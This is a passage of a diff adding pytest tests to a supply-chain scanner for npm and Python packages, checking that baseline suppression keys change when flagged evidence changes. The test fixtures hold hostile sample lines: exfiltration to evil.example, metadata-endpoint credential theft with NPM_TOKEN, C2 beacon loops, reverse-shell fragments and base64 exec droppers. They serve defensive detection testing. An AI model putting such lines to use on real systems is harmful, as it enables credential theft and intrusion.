+ tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
+ loose = (
+ "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
+ )
+ assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))
+
+
+def test_evidence_preserves_intra_string_whitespace():
+ # Whitespace OUTSIDE string literals is normalized (reindent-stable), but
+ # whitespace INSIDE a literal is preserved, so a changed payload body
+ # (body: 'a b' -> 'a b') reopens the key instead of being erased along with
+ # indentation.
+ a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
+ b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
+ assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))
+
+
+def test_outbound_cred_surface_binds_context():
+ # The outbound cred-surface host finding records the host WITH its URL path /
+ # fetch call, so changing the outbound path or headers reopens the key rather
+ # than riding the bare host literal.
+ pkg = snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-test",
+ lockfile_key = "node_modules/evil",
+ )
+ old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n"
+ new = (
+ "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', "
+ "{headers: steal})\n"
+ )
+ of = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", old)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ nf = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", new)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_load_baseline_skips_non_dict_entries(tmp_path):
+ # A malformed current-schema baseline (non-dict entries, or a non-object root)
+ # must not crash the loader; bad entries are skipped, valid ones still load.
+ bl = tmp_path / "bad.json"
+ bl.write_text(
+ json.dumps(
+ {
+ "version": snp._BASELINE_SCHEMA_VERSION,
+ "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],
+ }
+ ),
+ encoding = "utf-8",
+ )
+ keys = snp._load_baseline(str(bl))
+ assert keys == {("p", "a.js", "x", snp._evidence_hash(""))}
+ # A non-object root is rejected with a warning, not a crash.
+ arr = tmp_path / "arr.json"
+ arr.write_text("[1, 2, 3]", encoding = "utf-8")
+ assert snp._load_baseline(str(arr)) == set()
+
+
def test_legacy_schema_baseline_is_ignored(tmp_path):
# A pre-v2 baseline stored basenames; its keys are ambiguous under
# package-relative matching, so a populated legacy file is ignored (fail
@@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):
assert snp._load_baseline(str(bl)) == set()
+def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):
+ # v2 shares v3's package-relative keying, so its entries migrate (the hash is
+ # recomputed from stored evidence) rather than being thrown away, matching the
+ # Python loader. An unchanged finding stays suppressed.
+ bl = tmp_path / "v2.json"
+ evidence = "fetch('http://ok')"
+ bl.write_text(
+ json.dumps(
+ {
+ "version": 2,
+ "entries": [
+ {
+ "package": "left-pad",
+ "file": "package/dist/index.js",
+ "pattern": "obfuscated-blob",
+ "severity": snp.HIGH,
+ "evidence": evidence,
+ }
+ ],
+ }
+ ),
+ encoding = "utf-8",
+ )
+ finding = _finding(
+ "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence
+ )
+ assert snp._finding_key(finding) in snp._load_baseline(str(bl))
+
+
+def test_outbound_cred_surface_host_config_binds_full_context():
+ # The host-config branch captures the whole line (path + headers), so changing
+ # the outbound headers/body on the same hostname line reopens the key.
+ pkg = snp.PackageEntry(
+ name = "evil",
+ version = "1.0.0",
+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+ integrity = "sha512-test",
+ lockfile_key = "node_modules/evil",
+ )
+ path = "/latest/meta-data/iam/security-credentials/role-name"
+ old = (
+ "const opts = {hostname: '169.254.169.254', "
+ f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n"
+ )
+ new = (
+ "const opts = {hostname: '169.254.169.254', "
+ f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n"
+ )
+ of = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", old)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ nf = [
+ f
+ for f in snp.scan_text_blob(pkg, "package/index.js", new)
+ if f.pattern == "cred-surface-host (outbound)"
+ ][0]
+ assert snp._finding_key(of) != snp._finding_key(nf)
+
+
def test_committed_baseline_is_empty_and_valid():
# Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 91331668d6..48e6da5f66 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live():
assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
-def _mk(sev, pkg, fname, check):
- return sp.Finding(sev, pkg, fname, check, "evidence")
+def _mk(
+ sev,
+ pkg,
+ fname,
+ check,
+ evidence = "evidence",
+):
+ return sp.Finding(sev, pkg, fname, check, evidence)
def test_baseline_key_version_stable_but_path_specific():
a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
- # Same package-relative path across versions -> same key (stable).
+ # Same package-relative path + same matched code across versions -> same key.
assert sp._finding_key(a) == sp._finding_key(b)
# Same basename in a different path -> different key (no over-suppression).
c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
assert sp._finding_key(a) != sp._finding_key(c)
+def test_baseline_key_line_shift_stable_but_code_specific():
+ # The evidence hash strips ``L:`` markers, so a benign upstream edit that
+ # only shifts line numbers keeps the key stable...
+ base = _mk(
+ sp.CRITICAL,
+ "botocore",
+ "botocore/utils.py",
+ "Harvests environment variables/secrets AND makes network calls",
+ "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies",
+ )
+ shifted = _mk(
+ sp.CRITICAL,
+ "botocore",
+ "botocore/utils.py",
+ "Harvests environment variables/secrets AND makes network calls",
+ "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",
+ )
+ assert sp._finding_key(base) == sp._finding_key(shifted)
+ # ...but a NEW payload in the same file/check (different matched code) does
+ # not inherit the suppression -- this is the supply-chain bypass we close.
+ malicious = _mk(
+ sp.CRITICAL,
+ "botocore",
+ "botocore/utils.py",
+ "Harvests environment variables/secrets AND makes network calls",
+ "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
+ )
+ assert sp._finding_key(base) != sp._finding_key(malicious)
+
+
+def test_extract_evidence_records_all_matches():
+ # The whole point of P1: a match appended after the first few must show up
+ # in the evidence, so it changes the key instead of riding the earlier ones.
+ src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))
+ ev = sp._extract_evidence(src, sp.RE_NETWORK)
+ assert ev.count("requests.get(") == 6
+
+
+def test_baseline_key_reopens_on_appended_match():
+ # A reviewed file already trips a check with several matches; a later exfil
+ # call appended to the same file/check must reopen the finding.
+ base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))
+ payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
+ base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))
+ payload = _mk(
+ sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)
+ )
+ assert sp._finding_key(base) != sp._finding_key(payload)
+
+
+def test_baseline_key_inner_line_marker_is_not_stripped():
+ # Only the leading L: marker is dropped; an L: inside the matched
+ # code is part of the code, so changing it must reopen the finding...
+ a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")
+ b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")
+ assert sp._finding_key(a) != sp._finding_key(b)
+ # ...while only the leading marker (line number) changing stays stable.
+ c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")
+ assert sp._finding_key(a) == sp._finding_key(c)
+
+
+def test_baseline_key_indentation_is_significant():
+ # Moving a flagged line out of a guarded block (dedent) changes executable
+ # context, so the same code at a different indent must reopen the finding.
+ guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
+ top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
+ assert sp._finding_key(guarded) != sp._finding_key(top_level)
+
+
+def test_canon_evidence_keeps_bitwise_or_in_a_span():
+ # ' | ' only delimits spans when it precedes an L: marker; a pipe inside
+ # matched code (bitwise OR, typing.Union) is code, so changing an operand
+ # must reopen the finding instead of deduping to the same key.
+ a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")
+ b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")
+ assert sp._finding_key(a) != sp._finding_key(b)
+ # The OR survives canonicalization as one span (not split on the pipe).
+ assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"
+
+
+def test_extract_evidence_caps_long_line_but_binds_tail():
+ # A long (e.g. minified) line is not dumped verbatim: the display is bounded to
+ # a prefix, but a sha256 of the full line is appended so a payload past the cut
+ # still changes the key instead of being silently clipped.
+ marker = "EXFIL_PAST_CAP"
+ pad = "# " + " " * 300
+ line = "requests.get('http://a') " + pad + marker
+ ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK)
+ assert marker not in ev # tail past the cap is not shown verbatim
+ assert "sha256:" in ev # but it is pinned by a digest
+ assert len(ev) < len(line) # bounded, not the whole minified line
+ base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK)
+ assert sp._evidence_hash(ev) != sp._evidence_hash(base)
+
+
+def test_extract_evidence_binds_call_continuation_past_12_lines():
+ # A matched call that stays open well beyond the old 12-line continuation cap
+ # still binds its later arguments: a changed body on a deep continuation line
+ # (here ~22 lines in) must reopen instead of riding the first 12 lines.
+ head = "requests.post('http://h',\n"
+ middle = "".join(f" opt{i} = ({i}),\n" for i in range(20))
+ old = head + middle + " data = {'x': 'old'},\n)\n"
+ new = head + middle + " data = {'x': 'evil'},\n)\n"
+ eo = sp._extract_evidence(old, sp.RE_NETWORK)
+ en = sp._extract_evidence(new, sp.RE_NETWORK)
+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_logical_line_end_follows_backslash_continuation():
+ # A call split with an explicit backslash before the parenthesis must still
+ # bind the continuation line, so changing the URL on the next physical line
+ # reopens instead of returning at the zero-depth API line.
+ old = "requests.post \\\n ('http://old/x', data = 1)\n"
+ new = "requests.post \\\n ('http://evil/x', data = 1)\n"
+ eo = sp._extract_evidence(old, sp.RE_NETWORK)
+ en = sp._extract_evidence(new, sp.RE_NETWORK)
+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_logical_line_end_blanks_multiline_triple_string():
+ # A ) inside a triple-quoted string argument must not close the call early; the
+ # data= after the closing triple-quote must still bind so a changed payload
+ # reopens (a per-line string blanker cannot mask a multi-line string).
+ old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n'
+ new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n'
+ eo = sp._extract_evidence(old, sp.RE_NETWORK)
+ en = sp._extract_evidence(new, sp.RE_NETWORK)
+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_binds_call_embedded_in_string():
+ # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a
+ # setup.py payload) must still bind its argument lines. Blanking the multi-line
+ # string must not shrink the span below the legacy single-line view: the union
+ # of both views keeps the URL argument bound so a changed payload reopens.
+ src = (
+ 'PAYLOAD = """\n'
+ "urllib.request.urlretrieve(\n"
+ ' "http://evil/old.pyz",\n'
+ ' "/tmp/x.pyz",\n'
+ ")\n"
+ '"""\n'
+ )
+ eo = sp._extract_evidence(src, sp.RE_NETWORK)
+ en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK)
+ assert "L3" in eo # the URL argument line is bound, not just the API line
+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_overflow_digest_is_line_shift_stable():
+ # The overflow digest canonicalizes (strips L: markers), so inserting an
+ # unrelated line above the overflow region does not change it (line-shift
+ # stability), while a real payload change inside the overflow still reopens.
+ n = sp._MAX_EVIDENCE_SPANS
+ src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))
+ sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
+ e_a = sp._extract_evidence(src, sp.RE_NETWORK)
+ assert "more) sha256:" in e_a
+ e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK)
+ assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest
+ e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK)
+ assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens
+
+
+def test_extract_evidence_overflow_is_streamed_and_bounded():
+ # Past the display cap the evidence streams overflow spans into one digest
+ # instead of materializing a rendered span per match, so a file with far more
+ # matches than the cap yields a bounded string (at most cap spans plus the
+ # "(+N more)" digest line) while N counts every overflow match and a change to
+ # an over-cap match still reopens.
+ n = sp._MAX_EVIDENCE_SPANS
+ src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))
+ ev = sp._extract_evidence(src, sp.RE_NETWORK)
+ assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests
+ assert "(+500 more)" in ev # every match past the cap is counted
+ # bounded: exactly cap rendered spans plus the single "(+N more)" marker
+ assert len(ev.split(" | ")) == n + 1
+ sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
+ chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)
+ assert sha(ev) != sha(chg) # an over-cap payload change reopens
+
+
+def test_extract_evidence_same_line_close_then_open_binds_call():
+ # A continued statement that closes on the same physical line that opens a
+ # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket
+ # count, dropping the call's `(` so the scan would stop at the opener line.
+ # Order-aware counting keeps the opener, so the argument lines bind and a
+ # changed body on a continuation line reopens.
+ old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n"
+ new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n"
+ assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+ sp._extract_evidence(new, sp.RE_NETWORK)
+ )
+
+
+def test_extract_evidence_backslash_continued_string_binds_tail():
+ # A single-quoted string can continue across lines with a trailing backslash.
+ # The `)` inside that continued string on the next line must not be counted as
+ # code and close the call early, or a changed argument after it would not
+ # reopen. The blanker tracks the continuation so the whole call binds.
+ old = "requests.post('http://h\\\n/path)', data='old')\n"
+ new = "requests.post('http://h\\\n/path)', data='EVIL')\n"
+ assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+ sp._extract_evidence(new, sp.RE_NETWORK)
+ )
+
+
+def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
+ # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still
+ # followed to its real close under the hard limit, so a changed payload on a
+ # continuation line well past the soft cap reopens instead of riding the first
+ # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap.
+ mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))
+ old = "requests.post(\n" + mid + "\n data='old',\n)\n"
+ new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n"
+ assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+ sp._extract_evidence(new, sp.RE_NETWORK)
+ )
+
+
+def test_extract_evidence_fallback_line_numbers_are_correct():
+ # The DOTALL fallback maps match offsets to line numbers via precomputed
+ # newline offsets (bisect, not a quadratic content.count per match); guard that
+ # the mapping is exact so a cross-line match is recorded at its true line and a
+ # changed continuation reopens.
+ content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n"
+ e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)
+ e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING)
+ assert "L3" in e1 # the while-True loop starts on line 3, not line 1
+ assert sp._evidence_hash(e1) != sp._evidence_hash(e2)
+
+
+def test_large_js_bundle_pins_whole_content_when_other_finding_fires():
+ # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds
+ # the whole bundle, so changing payload code elsewhere (obfuscation line
+ # unchanged) reopens rather than riding the matched signature line.
+ obf = "var _0xabcd = function(){};\n"
+ pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar
+ fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")
+ fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg")
+ co = [f for f in fo if "hex-var obfuscation" in f.check][0]
+ cn = [f for f in fn if "hex-var obfuscation" in f.check][0]
+ assert "bundle-sha256:" in co.evidence
+ assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence)
+
+
+def test_pth_catch_all_import_evidence_is_bounded_but_reopens():
+ # A large .pth made only of benign-looking imports is bounded in the evidence
+ # (prefix plus digest), not dumped in full, yet still reopens when an import
+ # line changes because the digest covers every line.
+ base = "".join(f"import mod{i}\n" for i in range(200))
+ fo = [
+ f
+ for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p")
+ if "executable import line" in f.check
+ ]
+ fn = [
+ f
+ for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p")
+ if "executable import line" in f.check
+ ]
+ assert fo and fn
+ assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base)
+ assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence)
+
+
+def test_extract_evidence_records_all_multiline_matches():
+ # The DOTALL fallback must record every distinct cross-line match, so a second
+ # long-sleep appended below an already-flagged one reopens the finding.
+ one = "foo = time.sleep(\n 600\n)\n"
+ two = one + "bar = time.sleep(\n 900\n)\n"
+ ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)
+ ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS)
+ assert ev2.count("time.sleep(") == 2 # both matches, not just the first
+ assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2)
+
+
+def test_multiline_evidence_reopens_on_continuation_change():
+ # A DOTALL match records every line it spans, so changing the URL inside an
+ # already-flagged C2 loop (a continuation line) reopens the finding...
+ old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n"
+ new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n"
+ fo = _mk(
+ sp.CRITICAL,
+ "p",
+ "p/loop.py",
+ "C2 polling/beaconing loop detected",
+ sp._extract_evidence(old, sp.RE_C2_POLLING),
+ )
+ fn = _mk(
+ sp.CRITICAL,
+ "p",
+ "p/loop.py",
+ "C2 polling/beaconing loop detected",
+ sp._extract_evidence(new, sp.RE_C2_POLLING),
+ )
+ assert sp._finding_key(fo) != sp._finding_key(fn)
+ # ...while a benign line shift of the same loop stays stable.
+ shifted = _mk(
+ sp.CRITICAL,
+ "p",
+ "p/loop.py",
+ "C2 polling/beaconing loop detected",
+ sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING),
+ )
+ assert sp._finding_key(fo) == sp._finding_key(shifted)
+
+
+def test_extract_evidence_bounds_pathological_multiline_span():
+ # A greedy DOTALL span is capped to its head line plus a digest of the rest,
+ # so evidence stays bounded while still binding the full match.
+ big = "vmware\n" + "x\n" * 50 + "detect\n"
+ ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)
+ assert "sha256:" in ev and ev.count("\n") <= 1
+
+
+def test_canon_evidence_keeps_duplicate_spans():
+ # A second identical matched line in a new code path must change the key, so
+ # an appended duplicate payload occurrence is not deduped to the same hash.
+ one = " requests.post(url, data=env)"
+ base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")
+ dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")
+ assert sp._finding_key(base) != sp._finding_key(dup)
+
+
+def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():
+ # Raw .pth evidence has no leading L: marker; an L:-looking substring
+ # inside the code must be kept, so changing the code before it reopens.
+ base = _mk(
+ sp.HIGH,
+ "p",
+ "p/x.pth",
+ ".pth has 1 executable import line(s)",
+ "import os; note='L7: same_suffix'",
+ )
+ changed = _mk(
+ sp.HIGH,
+ "p",
+ "p/x.pth",
+ ".pth has 1 executable import line(s)",
+ "import urllib.request; note='L7: same_suffix'",
+ )
+ assert sp._finding_key(base) != sp._finding_key(changed)
+
+
+def test_capped_multiline_digest_is_line_shift_stable():
+ # A span over the cap is digested from markerless code, so a pure line shift
+ # of the same span stays stable while a code change still reopens.
+ src = (
+ "while True:\n"
+ + " x = 1\n" * 20
+ + " time.sleep(60)\n requests.get('http://old.example/poll')\n"
+ )
+ e1 = sp._extract_evidence(src, sp.RE_C2_POLLING)
+ e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING)
+ assert "sha256:" in e1 # span exceeded the cap
+ assert sp._evidence_hash(e1) == sp._evidence_hash(e2)
+ changed = src.replace("http://old.example/poll", "http://evil.example/c2")
+ assert sp._evidence_hash(e1) != sp._evidence_hash(
+ sp._extract_evidence(changed, sp.RE_C2_POLLING)
+ )
+
+
+def test_canon_evidence_strips_punctuation_label_marker():
+ # A label with punctuation (network+exec:) must still be stripped, so the
+ # line number alone does not change the key.
+ a = "network+exec: L12: subprocess.run(['id'])"
+ b = "network+exec: L99: subprocess.run(['id'])"
+ assert sp._evidence_hash(a) == sp._evidence_hash(b)
+
+
+def test_extract_evidence_binds_call_continuation_lines():
+ # A multi-line network call binds its argument lines, so a changed URL on a
+ # continuation line reopens even though the line with the API name is unchanged.
+ old = "requests.post(\n 'http://old.example',\n data=env,\n)\n"
+ new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n"
+ eo = sp._extract_evidence(old, sp.RE_NETWORK)
+ en = sp._extract_evidence(new, sp.RE_NETWORK)
+ assert "old.example" in eo and "evil.example" in en
+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_records_multiline_after_oneline():
+ # A one-line C2 match no longer suppresses a later multi-line C2 loop: the
+ # appended cross-line construct is recorded too, so it cannot ride the key.
+ oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"
+ appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n"
+ eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)
+ ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)
+ assert "evil" in ea
+ assert sp._evidence_hash(eo) != sp._evidence_hash(ea)
+
+
+def test_extract_evidence_giant_span_binds_full_interior():
+ # A giant greedy DOTALL span bridging anchors across the whole file is bound by
+ # a digest of its full content (not just the outer anchors), so a cross-line
+ # payload inserted into the bridged interior between unchanged outer anchors
+ # reopens instead of riding the key. (Binding only head/tail would fail open on
+ # an interior insertion.) A pure line shift still stays stable.
+ gap = "\n".join(f" x = {i}" for i in range(70))
+ base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
+ # interior insertion of a cross-line payload between the unchanged outer anchors
+ injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)")
+ ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)
+ ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL)
+ assert "sha256:" in ea # full interior bound by a digest
+ assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens
+ shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL)
+ assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable
+
+
+def test_extract_evidence_giant_span_appended_payload_reopens():
+ # The anchor binding must reopen when an appended cross-line payload extends the
+ # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a
+ # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no
+ # single line so the per-line pass never binds them) moves the span's tail
+ # anchor, so the evidence changes instead of riding the unchanged key.
+ existing = "import os\n/tmp/x; subprocess.run(['id'])\n"
+ gap = "\n".join(f" pad{i} = {i}" for i in range(65))
+ appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"
+ base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)
+ app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)
+ assert sp._evidence_hash(base) != sp._evidence_hash(app)
+ # a pure line shift of the same payload does not reopen
+ shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)
+ assert sp._evidence_hash(app) == sp._evidence_hash(shifted)
+
+
+def test_hidden_payload_binds_visible_exec_trigger():
+ # The hidden-payload finding binds the visible exec/eval line that makes the
+ # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which
+ # now runs the same hidden network+exec payload) reopens instead of riding the
+ # key on the unchanged hidden text.
+ hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'
+ benign = hidden + 'eval("1+1")\n'
+ armed = hidden + "exec(__doc__)\n"
+
+ def key(src):
+ return [
+ sp._finding_key(f)
+ for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")
+ if "hidden network+exec" in f.check
+ ][0]
+
+ assert key(benign) != key(armed)
+
+
+def test_js_finding_pins_full_content_digest():
+ # A JS finding pins the full file content digest, so a backtick template literal
+ # that closes the bracket span early cannot let later option/body lines change
+ # without reopening (the Python-string-aware extractor would otherwise omit
+ # them). Holds for small files too, not just large bundles.
+ old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n"
+ new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n"
+ fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]
+ fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]
+ assert "bundle-sha256:" in fo.evidence
+ assert sp._finding_key(fo) != sp._finding_key(fn)
+
+
+def test_extract_evidence_binds_moderate_appended_dotall_span():
+ # A multi-line construct appended under a check that already has a one-line
+ # match is still recorded when it is not a giant whole-file bridge, so its
+ # payload reopens instead of riding the old one-line match.
+ one = "while True: time.sleep(60); requests.get('http://a/poll')\n"
+ gap = "\n".join(f" x = {i}" for i in range(20))
+ old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n"
+ new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n"
+ eo = sp._extract_evidence(old, sp.RE_C2_POLLING)
+ en = sp._extract_evidence(new, sp.RE_C2_POLLING)
+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_canon_evidence_reorder_reopens():
+ # Reordering matched lines changes executable context, so the key reopens
+ # (the canon preserves discovery order rather than sorting).
+ a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"
+ b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"
+ assert sp._evidence_hash(a) != sp._evidence_hash(b)
+
+
+def test_logical_line_end_ignores_brackets_in_strings():
+ # A ) inside a string argument must not close the call early, so later
+ # argument lines still bind and a changed payload there reopens.
+ old = "requests.post('http://h/p)',\n data=secret_old,\n)\n"
+ new = "requests.post('http://h/p)',\n data=secret_new,\n)\n"
+ eo = sp._extract_evidence(old, sp.RE_NETWORK)
+ en = sp._extract_evidence(new, sp.RE_NETWORK)
+ assert "data=secret_old" in eo
+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_base64_exec_blob_finding_binds_every_blob():
+ # The base64+exec+blob finding digests every blob, so appending a second
+ # encoded payload reopens even when the first blob and decode line are unchanged.
+ head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"
+ old = head
+ new = head + "blob2 = '" + "B" * 220 + "'\n"
+ fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]
+ fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]
+ assert fo and fn
+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_pth_large_blob_finding_binds_every_blob():
+ # The .pth large-blob finding digests every blob, so appending a second
+ # encoded payload reopens rather than riding the unchanged first blob.
+ old = "import os\n" + "X" * 220 + "\n"
+ new = old + "Y" * 220 + "\n"
+ fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]
+ fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]
+ assert fo and fn
+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_pth_unusually_large_finding_is_content_bound():
+ # Two different payloads of equal size and import count must get different
+ # keys: the finding now pins the .pth content via a digest.
+ a = [
+ f
